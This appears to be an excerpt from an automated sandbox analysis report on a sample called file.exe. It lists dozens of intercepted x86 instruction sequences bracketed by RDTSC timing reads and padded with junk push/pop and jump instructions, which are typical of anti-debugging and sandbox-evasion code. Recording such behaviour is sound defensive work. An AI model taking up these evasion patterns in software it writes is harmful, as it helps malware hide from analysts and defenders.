Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F073D4 second address: F073F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428B8CB57h 0x00000007 jbe 00007F8428B8CB46h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F073F5 second address: F07401 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8428CC376Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F07401 second address: F07410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 js 00007F8428B8CB5Fh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F07581 second address: F0758A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0758A second address: F075A4 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8428B8CB46h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F8428B8CB4Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F07DA8 second address: F07DB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jno 00007F8428CC3766h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F07DB7 second address: F07DBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F07DBB second address: F07DC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F07DC1 second address: F07DD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 je 00007F8428B8CB46h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F07DD2 second address: F07E22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F8428CC3778h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F8428CC3780h 0x00000013 jmp 00007F8428CC3770h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F083AF second address: F083B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0865B second address: F08661 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F08BD6 second address: F08BDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F08BDA second address: F08BFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8428CC3770h 0x0000000d jmp 00007F8428CC376Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E8F3 second address: F0E8F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11CBF second address: F11CC9 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8428CC376Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11CC9 second address: F11CD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push edi 0x00000006 pop edi 0x00000007 jnl 00007F8428B8CB46h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11E0B second address: F11E17 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jnl 00007F8428CC3766h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11E17 second address: F11E2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428B8CB53h 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F120C7 second address: F120CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F124A8 second address: F124BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F8428B8CB46h 0x0000000a pop ebx 0x0000000b jc 00007F8428B8CB52h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F124BB second address: F124C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1978C second address: F19790 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F19C01 second address: F19C05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F19C05 second address: F19C0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F19D8F second address: F19D93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A18F second address: F1A1AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8428B8CB50h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A46E second address: F1A496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8428CC3774h 0x00000009 jmp 00007F8428CC376Bh 0x0000000e popad 0x0000000f push ebx 0x00000010 push eax 0x00000011 pop eax 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1AB99 second address: F1AB9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1AB9E second address: F1ABA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1ABA4 second address: F1ABA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B323 second address: F1B331 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8428CC3766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B331 second address: F1B34D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428B8CB56h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B34D second address: F1B352 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24C5A second address: F24C5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2480A second address: F24814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F8428CC3766h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24814 second address: F2481E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2481E second address: F24822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F249A2 second address: F249AC instructions: 0x00000000 rdtsc 0x00000002 je 00007F8428B8CB46h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31A83 second address: F31A8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31606 second address: F3161B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F8428B8CB50h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3161B second address: F31621 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31621 second address: F3162B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F8428B8CB46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31773 second address: F317A7 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8428CC3768h 0x00000008 js 00007F8428CC3772h 0x0000000e jl 00007F8428CC3766h 0x00000014 jc 00007F8428CC3766h 0x0000001a pop edx 0x0000001b pop eax 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F8428CC376Dh 0x00000024 ja 00007F8428CC3766h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F317A7 second address: F317AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F317AB second address: F317B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F317B1 second address: F317BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F317BB second address: F317BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F34DBA second address: F34DBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37FCF second address: F37FE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 je 00007F8428CC376Ah 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37FE4 second address: F37FEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4CC35 second address: F4CC3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4CD93 second address: F4CD97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4CD97 second address: F4CDA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4CDA1 second address: F4CDB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8428B8CB50h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4CDB5 second address: F4CDFD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428CC3770h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F8428CC3770h 0x0000000e push edi 0x0000000f push edi 0x00000010 pop edi 0x00000011 jmp 00007F8428CC3770h 0x00000016 pop edi 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d jl 00007F8428CC3766h 0x00000023 popad 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4CDFD second address: F4CE04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4DBFF second address: F4DC05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4F674 second address: F4F69F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F8428B8CB53h 0x0000000a jmp 00007F8428B8CB50h 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F50CB0 second address: F50CD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jne 00007F8428CC376Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F8428CC3766h 0x00000013 jmp 00007F8428CC376Ah 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73DFC second address: F73E02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73E02 second address: F73E07 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73E07 second address: F73E16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F8428B8CB46h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73E16 second address: F73E1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73F48 second address: F73F5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8428B8CB4Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F89C7B second address: F89C7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F88C70 second address: F88C74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F88C74 second address: F88C78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F88C78 second address: F88C80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F88C80 second address: F88C8C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8428CC376Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F88C8C second address: F88CBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F8428B8CB5Eh 0x0000000e push eax 0x0000000f je 00007F8428B8CB46h 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F88CBA second address: F88CC9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F8428CC376Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F88CC9 second address: F88CE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F8428B8CB53h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F88E1C second address: F88E20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8993B second address: F89941 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F89941 second address: F89945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F89945 second address: F89949 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F89949 second address: F8994F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8994F second address: F8995B instructions: 0x00000000 rdtsc 0x00000002 js 00007F8428B8CB4Eh 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8C99C second address: F8C9A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FC1E second address: F8FC24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F916A0 second address: F916BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 ja 00007F8428CC3766h 0x0000000c jmp 00007F8428CC3771h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF02F4 second address: 4CF031C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428B8CB55h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8428B8CB4Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF031C second address: 4CF0321 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0321 second address: 4CF0385 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bl, 32h 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov ax, 71BBh 0x0000000f call 00007F8428B8CB50h 0x00000014 mov ah, 11h 0x00000016 pop edx 0x00000017 popad 0x00000018 mov ebp, esp 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F8428B8CB58h 0x00000021 xor si, 8868h 0x00000026 jmp 00007F8428B8CB4Bh 0x0000002b popfd 0x0000002c popad 0x0000002d pop ebp 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F8428B8CB50h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F90E second address: E9F918 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F918 second address: E9F91E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FB39 second address: E9FB3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FB3F second address: E9FB45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FB45 second address: E9FB49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FB49 second address: E9FB62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jnp 00007F8428B8CB4Ch 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF03CD second address: 4CF0414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F8428CC376Dh 0x00000009 pop eax 0x0000000a popad 0x0000000b popad 0x0000000c push ecx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F8428CC376Ah 0x00000014 sbb al, FFFFFFB8h 0x00000017 jmp 00007F8428CC376Bh 0x0000001c popfd 0x0000001d movzx ecx, bx 0x00000020 popad 0x00000021 mov dword ptr [esp], ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F8428CC376Eh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0414 second address: 4CF042B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F8428B8CB51h 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF042B second address: 4CF0464 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F8428CC3776h 0x00000012 xor eax, 71EAC6A8h 0x00000018 jmp 00007F8428CC376Bh 0x0000001d popfd 0x0000001e movzx ecx, bx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF04D9 second address: 4CF04DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF04DF second address: 4CF04E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF04E5 second address: 4CF04E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF04E9 second address: 4CF052F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428CC376Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and dword ptr [ebp-04h], 00000000h 0x0000000f jmp 00007F8428CC3770h 0x00000014 mov edx, dword ptr [ebp+0Ch] 0x00000017 pushad 0x00000018 mov ebx, ecx 0x0000001a popad 0x0000001b mov esi, edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F8428CC3771h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF052F second address: 4CF0533 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0533 second address: 4CF0539 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0539 second address: 4CF0558 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428B8CB4Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov al, byte ptr [edx] 0x0000000b pushad 0x0000000c mov edi, eax 0x0000000e popad 0x0000000f inc edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push edi 0x00000014 pop esi 0x00000015 mov ecx, ebx 0x00000017 popad 0x00000018 rdtsc
